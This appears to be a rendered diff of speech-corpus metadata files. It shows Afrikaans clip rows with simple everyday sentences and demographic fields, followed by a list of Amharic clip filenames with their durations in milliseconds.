1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40437773.mp3 31fd640b882ba761380f30e6e9e42d7001c3b4cd0b7f092beeb2ecdda400c2bf Soos jy kan sien, is die outeur se van eerste. 2 0 fifties male_masculine standaard af
|
| 131 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40437811.mp3 301609366c627d8734e3a7e8875f3312891bc715200d4025867ba95b1d5e3dcc My maag is vreeslik vol na daardie groot ete. 4 0 fifties male_masculine standaard af
|
| 132 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40447611.mp3 2b7a479f43154e5bf69407a0b74372626ac1035ef2d268f91d5a7175a7a51698 Hark die blare van die grasperk af op. 2 0 fifties male_masculine standaard af
|
| 133 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40447612.mp3 27bcf020059ad395d6f44526bbf8d6bbc1bcdcd334836cd99d48d8526a4b2681 Ek verkies suurlemoentee bo koffie 4 0 fifties male_masculine standaard af
|
| 134 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40447613.mp3 0a6d4fdf946e94cd1e09ee4604388ce908c6229903de2c85d91264ab75a68c73 Begin deur die bron wat jy wil gebruik, te lees. 2 0 fifties male_masculine standaard af
|
| 135 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40447614.mp3 2ccfe33e7fb71e768793602ad0f5ebe87439e2a1596c3e2781d9b1fa4d63e7aa My gunstelingliedjie het op die radio gespeel. 4 0 fifties male_masculine standaard af
|
| 136 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40447615.mp3 096ff9cdc38dd3ede186635d64744973feb0c65f2d3dae5c4a40a9cd7e52d230 Ek hou van reis 2 0 fifties male_masculine standaard af
|
| 137 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40447701.mp3 14a98cf0ceb6e424594d545176b0dd59caa3b4a3e1f7cc442d1571fcd07ffafe Kinders leer taal baie vinnig aan. 4 0 fifties male_masculine standaard af
|
| 138 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40447703.mp3 21efe440cee73d23ea886618681c71a26c098352bd7e87025865d4bc90f4e088 Ek ken net ’n paar woorde Afrikaans 2 0 fifties male_masculine standaard af
|
| 139 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40447987.mp3 2b97a492969c7c990c5eed38118ef998d31316ad7762d1499e24c10c52686a3b Aan haar getrou soos aan sy kind en vrou. 2 0 fifties male_masculine standaard af
|
| 140 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40447988.mp3 19e9e9e143063771a7f6199c203470e85c0c5a202e59da69e4fac67403654108 In Stellenbosch is die ontwikkeling van sypaadjie-infrastruktuur gedurende die boekjaar voltooi. 2 0 fifties male_masculine standaard af
|
transcript/af/unvalidated_sentences.tsv
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|
transcript/af/validated.tsv
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|
transcript/af/validated_sentences.tsv
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|
transcript/am/clip_durations.tsv
ADDED
|
@@ -0,0 +1,1632 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
clip duration[ms]
|
| 2 |
+
common_voice_am_39643539.mp3 6516
|
| 3 |
+
common_voice_am_39936870.mp3 9720
|
| 4 |
+
common_voice_am_37791287.mp3 5940
|
| 5 |
+
common_voice_am_39922747.mp3 8568
|
| 6 |
+
common_voice_am_39362809.mp3 6840
|
| 7 |
+
common_voice_am_39958866.mp3 8856
|
| 8 |
+
common_voice_am_37790612.mp3 4248
|
| 9 |
+
common_voice_am_39643326.mp3 5040
|
| 10 |
+
common_voice_am_38629721.mp3 5688
|
| 11 |
+
common_voice_am_37782888.mp3 6408
|
| 12 |
+
common_voice_am_37802917.mp3 6588
|
| 13 |
+
common_voice_am_39991836.mp3 8964
|
| 14 |
+
common_voice_am_37805149.mp3 6012
|
| 15 |
+
common_voice_am_37779517.mp3 6516
|
| 16 |
+
common_voice_am_37805290.mp3 7992
|
| 17 |
+
common_voice_am_37790457.mp3 4248
|
| 18 |
+
common_voice_am_37782318.mp3 2700
|
| 19 |
+
common_voice_am_37805312.mp3 6336
|
| 20 |
+
common_voice_am_39936895.mp3 7236
|
| 21 |
+
common_voice_am_37802291.mp3 7128
|
| 22 |
+
common_voice_am_38583159.mp3 8640
|
| 23 |
+
common_voice_am_37791913.mp3 6048
|
| 24 |
+
common_voice_am_42674809.mp3 10152
|
| 25 |
+
common_voice_am_38629779.mp3 7308
|
| 26 |
+
common_voice_am_37782301.mp3 7308
|
| 27 |
+
common_voice_am_37782941.mp3 5076
|
| 28 |
+
common_voice_am_39967330.mp3 6228
|
| 29 |
+
common_voice_am_39906863.mp3 5544
|
| 30 |
+
common_voice_am_37768249.mp3 7380
|
| 31 |
+
common_voice_am_37805302.mp3 8640
|
| 32 |
+
common_voice_am_37782927.mp3 3492
|
| 33 |
+
common_voice_am_37791289.mp3 7128
|
| 34 |
+
common_voice_am_37790568.mp3 5580
|
| 35 |
+
common_voice_am_38586627.mp3 8100
|
| 36 |
+
common_voice_am_37791662.mp3 5220
|
| 37 |
+
common_voice_am_37814324.mp3 4068
|
| 38 |
+
common_voice_am_39643540.mp3 5040
|
| 39 |
+
common_voice_am_37805304.mp3 4896
|
| 40 |
+
common_voice_am_38629777.mp3 5076
|
| 41 |
+
common_voice_am_37791922.mp3 5760
|
| 42 |
+
common_voice_am_37890164.mp3 2880
|
| 43 |
+
common_voice_am_42422281.mp3 5436
|
| 44 |
+
common_voice_am_39936893.mp3 6156
|
| 45 |
+
common_voice_am_39362414.mp3 4248
|
| 46 |
+
common_voice_am_37802654.mp3 4716
|
| 47 |
+
common_voice_am_37952733.mp3 5076
|
| 48 |
+
common_voice_am_37768014.mp3 6804
|
| 49 |
+
common_voice_am_37802680.mp3 7848
|
| 50 |
+
common_voice_am_37888993.mp3 3456
|
| 51 |
+
common_voice_am_37768201.mp3 5760
|
| 52 |
+
common_voice_am_37814482.mp3 5436
|
| 53 |
+
common_voice_am_37790433.mp3 7668
|
| 54 |
+
common_voice_am_39362643.mp3 6696
|
| 55 |
+
common_voice_am_37814489.mp3 6228
|
| 56 |
+
common_voice_am_37782628.mp3 5400
|
| 57 |
+
common_voice_am_39643370.mp3 6948
|
| 58 |
+
common_voice_am_39991850.mp3 4680
|
| 59 |
+
common_voice_am_37782925.mp3 2628
|
| 60 |
+
common_voice_am_37802344.mp3 5616
|
| 61 |
+
common_voice_am_42492793.mp3 3600
|
| 62 |
+
common_voice_am_37805213.mp3 5328
|
| 63 |
+
common_voice_am_37782845.mp3 7272
|
| 64 |
+
common_voice_am_43325044.mp3 9108
|
| 65 |
+
common_voice_am_38630594.mp3 8028
|
| 66 |
+
common_voice_am_40405944.mp3 3996
|
| 67 |
+
common_voice_am_39936941.mp3 3600
|
| 68 |
+
common_voice_am_43353691.mp3 7020
|
| 69 |
+
common_voice_am_39936902.mp3 4716
|
| 70 |
+
common_voice_am_37782900.mp3 6984
|
| 71 |
+
common_voice_am_39936916.mp3 6840
|
| 72 |
+
common_voice_am_37802885.mp3 4896
|
| 73 |
+
common_voice_am_37802264.mp3 9000
|
| 74 |
+
common_voice_am_37805835.mp3 4428
|
| 75 |
+
common_voice_am_39936869.mp3 3600
|
| 76 |
+
common_voice_am_37790325.mp3 3240
|
| 77 |
+
common_voice_am_37791279.mp3 4140
|
| 78 |
+
common_voice_am_37778062.mp3 6372
|
| 79 |
+
common_voice_am_37790447.mp3 7956
|
| 80 |
+
common_voice_am_40123707.mp3 5976
|
| 81 |
+
common_voice_am_39362369.mp3 6660
|
| 82 |
+
common_voice_am_39362767.mp3 5436
|
| 83 |
+
common_voice_am_37782550.mp3 7812
|
| 84 |
+
common_voice_am_39991882.mp3 9180
|
| 85 |
+
common_voice_am_39967378.mp3 5364
|
| 86 |
+
common_voice_am_39969026.mp3 5220
|
| 87 |
+
common_voice_am_42674803.mp3 11412
|
| 88 |
+
common_voice_am_39936881.mp3 7308
|
| 89 |
+
common_voice_am_37802259.mp3 9108
|
| 90 |
+
common_voice_am_38630653.mp3 4968
|
| 91 |
+
common_voice_am_39643255.mp3 7056
|
| 92 |
+
common_voice_am_37782451.mp3 3816
|
| 93 |
+
common_voice_am_40405953.mp3 5076
|
| 94 |
+
common_voice_am_37952748.mp3 4248
|
| 95 |
+
common_voice_am_39936928.mp3 7236
|
| 96 |
+
common_voice_am_37814351.mp3 3096
|
| 97 |
+
common_voice_am_37782629.mp3 4212
|
| 98 |
+
common_voice_am_43227478.mp3 5868
|
| 99 |
+
common_voice_am_38583138.mp3 9216
|
| 100 |
+
common_voice_am_37814575.mp3 5832
|
| 101 |
+
common_voice_am_37767996.mp3 6732
|
| 102 |
+
common_voice_am_37782627.mp3 4320
|
| 103 |
+
common_voice_am_37814490.mp3 6228
|
| 104 |
+
common_voice_am_37779565.mp3 6012
|
| 105 |
+
common_voice_am_37814395.mp3 5148
|
| 106 |
+
common_voice_am_37782939.mp3 6228
|
| 107 |
+
